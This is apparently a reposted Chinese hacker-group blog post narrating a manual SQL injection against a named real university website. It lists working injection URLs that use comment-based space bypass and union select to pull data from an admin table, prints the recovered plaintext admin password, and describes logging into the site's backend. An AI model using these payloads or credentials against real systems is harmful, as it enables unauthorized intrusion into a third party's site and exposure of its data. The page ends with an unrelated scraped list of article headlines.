作者:YoCo Smart
来自:习科信息技术 ***作战营
::{ Silic Group Hacker Army }::
site:http://blackbap.org
前些日子(似乎很久很久以前),小X在群里发了一个太平洋汽车网站的注入,jsp的,安敏似乎问过她似乎也问过我,还有谁的,longlong ago了,记不清了,只记得当时安敏似乎对jsp注入很惊奇,或者说。。。总之印象很深。在补充书的最后素材时,终于功夫不负有心人,找到了jsp绝好的实例,这里放出来分享下。网上jsp注入的实例似乎并不多,能拿来练的似乎就没有。这里放一个,供大家研究和学习。
jsp的注入没什么特殊,注入并不取决于脚本,而是取决于数据库的类型。例如这个jsp网站就用的MySql数据库,说实话,如果他用Oracle呵呵我还真拿不下来。
好了,回到正文。
我找到的第一个注入点在这里:
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599
加了引号后出错,加+and+1=1提示

javax.servlet.ServletException: org.apache.jasper.JasperException: javax.servlet.ServletException: java.sql.SQLException: 第 1 行: 'and1' 附近有语法错误。

and和1连一起了。那么把+换成/**/再来。这次返回的是正常页面了,呵呵,真是乐死我了,居然用MySql数据库。继续1=2访问回显错误500页面。好了,宣布开始猜字段显示位。我order by了半天,他一直一个提示:
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/*/**/order/**/by/**/0
ORDER BY 子句中的位置号 0 超过了选择列表中项数目。
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/*/**/order/**/by/**/10000000
ORDER BY 子句中的位置号 10000000 超过了选择列表中项数目。
难道是我的用法不对?好吧,我承认学艺不精,你狠,没关系,我比你还狠,来,咱们union select一个一个来,复制“,1”重复粘帖回车粘帖回车。。。。
http://cie.zjgsu.edu.cn/cie/web/newDetail.do?newsid=599/**/and/**/1=1/**/union/**/select/**/1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
我晕,都这么长了,还是提示:

包含 UNION 运算符的 SQL 语句中的所有查询都必须在目标列表中具有相同数目的表达式。

这接晕死。。。这么狠,看来这个注入点不能用啊。

没辙,谷歌一下,看看人品怎样。搜索:
site:cie.zjgsu.edu.cn inurl:.jsp?

还不少呢。选来选去,最后选了这个地方:
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130
加引号回车访问,无错误回显,但是页面到中间就断了。

本以为是网速不行,中间丢包了。但是网速很快,刷新连眨眼都不用就显示完页面内容了,刷新了好几次一直都这样断。重新找了几个页面变量后面加引号竟然都这样。而且是一个地方段掉的
变量后面加/**/and/**/1=1就又返回正常,但是如果/**/and/**/1=2就又断了。第一次见到这么诡异的注入点。要么就是有错误回显,要么就没有,空白,哪还有html标签传到一半的一半“<”就断了的?
如果这是注入点,那么成功率可能不高,要么跟上一个一样,出不来字段数,要么这就不是一个注入点。
不管那么多,死马当活马医先。
union select继续猜字段数,order by不能用,加一个回车加一个回车,重复到27个,嘿,居然显示正常页面了,内牛满面啊。。。
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

这不,显示位就出来了?随手+随习惯,来了个/**/from/**/admin,呵,居然又是正常页面,传说中的人品爆发降临在我身上了?那么from /**/MySql.user呢。。晕,又是截断了的页面。看来注入点可用,admin字段存在,MySql数据库无权。
字段名还懒得猜,随手想先看看数据库名,这一看不要紧,差点没雷死我。
随便找个显示位,方上database()居然又出现错误截断。。。哇靠!那么hex(database())呢。。。还是错误。郁闷。
既然database函数不能用,老老实实猜吧。
进入管理入口,看源代码:

  1. <td align="center" valign="bottom">
  2. 用户名:<input type="text" class="log_input" name="aname" />
  3. 密码: <input type="password" class="log_input" name="apsw" />
  4. <input type="submit" name="submit" value="登陆" class="log_button" />
  5. </td>

复制代码

我猜管理员的字段名可能是aname和apsw

不过最后证明,我的猜测是错的。这个一会儿说。先说一段小插曲。
猜字段名的时候,发现字段中所有的函数都不能用。
load_file、concat、database()、user()、。。。。。任何一个都是错误的,哪怕我来了一个hex(id)都显示错误。。我直接无语掉
正当我“自暴自弃”的时候,突然发现灵感一现char(33)填入某字段,页面显示出了不起眼的"!",我晕。。。那么hex(5f)。。哦,居然显示出来了。
看来字段被限制了执行XX,管理员的杰作。
既然char(33)能显示,那么如果字段名正确估计也能显示,填入字段名为id,居然显示出来字段数为5。
那么继续,猜几个常用的字段名,管理员字段数居然出来了。管理员字段没我想的那么复杂,user和pass而已
4号位置填user,14号位置填上pass回车访问
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,user,5,6,7,8,9,10,11,12,13,pass,15,16,17,18,19,20,21,22,23,24,25,26,27/**/from/**/admin
就出来答案了

dbo和83088309明文啊。可是去后台登陆,这个却显示错误。我大概猜到是什么原因了,估计是序号的问题。
原来的注入语句后面加个where条件句/**/where/**/id=5并且把原来语句中的user换回数字,访问
http://cie.zjgsu.edu.cn/cie/web/teacher_detail.jsp?id=130/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,pass,15,16,17,18,19,20,21,22,23,24,25,26,27/**/from/**/admin/**/where/**/id=5
好了,这次密码出来了:adminxxlab

密码出来了,用户名照样搬就可以了,把pass换成user访问。
一开始我想当然的认为user字段就是管理员的名称字段,但是根据5楼所说,这个确实不是登录名字段,登录名称字段另有其他。╮(╯_╰)╭无语了。以为是另成,当时并没深究下去,刚刚来看了5楼说的,当时确实是自己想当然的犯了迷糊,这里特此更正下。
不过看这个密码不用注都能猜到,用户名就是admin
后台登陆,瀑布汗,居然清一色的eweb。看源代码,应该是有人更早就进来过了,把上传组件部分注释掉了

转载于:https://blog.51cto.com/pnig0s1992/340250

记一次曲折的jsp手工半盲注入相关推荐

  1. Impala-shell卡顿分析——记一次曲折的Debug经历

    Impala-shell卡顿分析--记一次曲折的Debug经历 问题发现 最近准备在Impala中增加对UTF-8的支持,以修正跟Hive.Spark等基于Java的系统在UTF-8字符串上的不兼容表 ...

  2. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  3. 记一次“曲折“的MySQL数据导出

    最近需要导出线上的某些数据给业务人员,由于不能直接操作生产库,自己写了sql之后请DBA帮忙导出生产数据 得到了两个excel,但是dba跟我说其中一个文件太大导致无法打开(三十多万行的数据),我尝试 ...

  4. 记一次曲折的后台getshell过程

    最近团队在对某个厂商进行测试,辛辛苦苦搞了快一个星期才拿到一个 shell,弟弟太惨了 0x01 开始复现 访问url进入登录界面,输入管理密码进入页面 请装作没有看到我那个失败的XSS,过了这么久也 ...

  5. 记一次曲折的拿靶标记录

    前言 风和日丽的一天本来想去填一下自己之前挖的坑,突然接到任务要参加某个地市举办的hw.拿到靶标一看资产比较少,于是开始了一次漫长而曲折的拿靶标过程. 一.找到突破口 经过测试发现靶标无懈可击,只能进 ...

  6. 2.3.2 spring属性注入-注解注入-半注解注入-后序

    代码: spring属性注入-注解注入-半注解后序.zip - 蓝奏云文件大小:15.2 K|https://www.lanzouw.com/iCjbVvpvxaf 上一个博客的半注解是,一个类在xm ...

  7. jsp工程防止外部注入_XPATH注入详解|OWASP Top 10安全风险实践(五)

    本文为一些列连载文章之一,不定期更新,计划目录如下: OWASP介绍 SQL注入 命令注入 XML外部实体注入 XPATH注入 反射式.DOM及存储XSS 失效的身份认证和会话管理 不安全的直接对象引 ...

  8. jsp工程防止外部注入_防止 jsp被sql注入的五种方法

    一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...

  9. 教你手工检测SQL注入

    手动你的ASP站可否注入: http://127.0.0.1/xx?id=11 and 1=1 (正常页面) http://127.0.0.1/xx?id=11 and 1=2 (出错页面) 检测表段 ...

最新文章

  1. Qt中的QProgressDialog
  2. [Android] 使用Include布局+Fragment滑动切换屏幕
  3. Java中String类的concat方法___java的String字符串的concat()方法连接字符串和“+“连接字符串解释
  4. poj 1511 Invitation Cards
  5. 一种简单的加解密算法
  6. ajax实现文件上传6,实现Ajax文件上传功能
  7. 串口通信软件AccessPort
  8. USACO Raucous Rockers——dp
  9. 【LDO带载能力和两端压差有关】
  10. linux定时关闭系统at,『学了就忘』Linux系统管理 — 8.系统定时任务(at命令)
  11. AdaBoost.M1算法
  12. 第六章 图论 AcWing 1635. 最大集团
  13. 迅为嵌入式Linux学习笔记4——进程
  14. Java 搜索二维矩阵 II
  15. Several alternative term weighting ~~ ——3. Proposed unsupervised term weighting schemes 提出的无监督词项加权方案
  16. CorelDRAWX4的VBA插件开发(十)多文件编程
  17. 解决vscode中文乱码
  18. Win10 iTunes 固件更新位置
  19. linux 深度音乐,网易云音乐Linux V1.1正式发布
  20. 低代码平台——未来和2023年需要考虑的6个关键趋势

热门文章

  1. html页面包含头文件,Web前端技术:HTML部分---Head标签中包含的头文件标签,body标签包含的内部标签...
  2. 详解优先级队列priority_queue(应用+模拟实现)
  3. Educational Codeforces Round 73 (Rated for Div. 2)
  4. 基于Linux的SOCKET编程之TCP半双工Client-Server聊天程序
  5. 数据结构(四)串的动态数组存储
  6. 树莓派第一次开机自动连接WIFI(不用显示屏方法)
  7. LeetCode2:Add Two Numbers
  8. java开发工程师招聘软件,面试题附答案
  9. web开发者工具,118页Vue面试题总结,涨姿势!
  10. 网易严选Java开发三面面经:南京黑马java培训怎么样